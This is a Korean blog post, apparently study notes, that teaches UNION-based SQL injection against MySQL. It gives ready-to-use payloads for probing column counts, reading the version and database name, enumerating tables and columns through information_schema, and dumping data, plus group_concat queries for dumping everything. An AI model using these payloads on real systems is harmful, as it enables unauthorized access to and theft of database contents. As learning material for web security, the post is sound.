-
반응형
UNION SQL injection을 알아보도록 하장 ㅎ
UNION은 SQL에서 두개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 키워드다.
정상적 쿼리문에 UNION 키워드를 사용하여 injection에 성공하면, 원하는 쿼리문을 실행 할 수 있게 된다.
UNION: 중복 제거 결과
UNION ALL: 중복 포함 결과
조건: UNION 하는 두 테이블 COLUMN의 개수가 같아야함.
그럼 일단 나는 MySQL과 SQL injection이 성공한다는 가정하에 설명하도록 하겠다.
일단 조건 즉 COLUMN의 개수를 찾는 방법을 설명하도록 하겠다
1' union select 1# 1' union select 1,2# 1' union select 1,2,3# 1' union select 1,2,3,4#
와 같이 늘리면서 injectoin해서 성공하면 COLUMN의 개수를 찾을 수 있다.
여기서 나는 COLUMN의 개수를 2개라고 가정하고 하겠다
이제 버전을 찾자.
1' UNION SELECT @@version,NULL # 버전 확인!!!
버전을 찾았으면 DB의 이름을 확인하자.
1' union select 1,database()#
DB를 찾으면 TABLE이름을 알아보자.
1' union select table_name,2 from information_schema.tables where table_schema='[DB name]'#
TABLE이름을 알아냈으면 COLUMN의 이름도 알아보자.
' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema='[DB name]' and table_name='[table name]'#
이제 다왔다 그럼 이제 마무리로 데이터를 찾자
1' union select 1,[column name]from [table name]#
더 털고 싶은 사람들을 위한 UNION SQL injection 쿼리문들....
DB이름 다 터는 쿼리
' union select NULL, group_concat(schema_name) from information_schema.schemata#
table 이름을 다 터는 쿼리
'union select NULL, group_concat(table_name) from information_schema.tables# => table 이름 다 터는 쿼리
column 이름 다 터는 쿼리
' UNION SELECT NULL, group_concat(column_name) FROM information_schema.columns# =>column 이름 다 터는 쿼리
DB개수 알려주는 쿼리
' UNION select NULL, count(*) from information_schema.schemata#
table 개수 알려주는 쿼리
' UNION select NULL, count(*) from information_schema.tables#
column 개수 알려주는 쿼리
' UNION select NULL, count(*) from information_schema.columns#
일단 UNION SQL injection 공부하면서 SQL의 대한 공부가 필요하다고 느끼는 계기가 됐다.
SQL 문법이나 혹은 다양한 실습을 좀 더 해보도록 하자.
반응형'웹해킹' 카테고리의 다른 글
구름 IDE를 이용한 리버스셸 (0) 2023.10.01 XSS cheat sheet 모음집 (0) 2023.09.29 LOS-vampire (1) 2023.07.02 LOS-troll (0) 2023.07.02 LOS-orge (0) 2023.07.02 댓글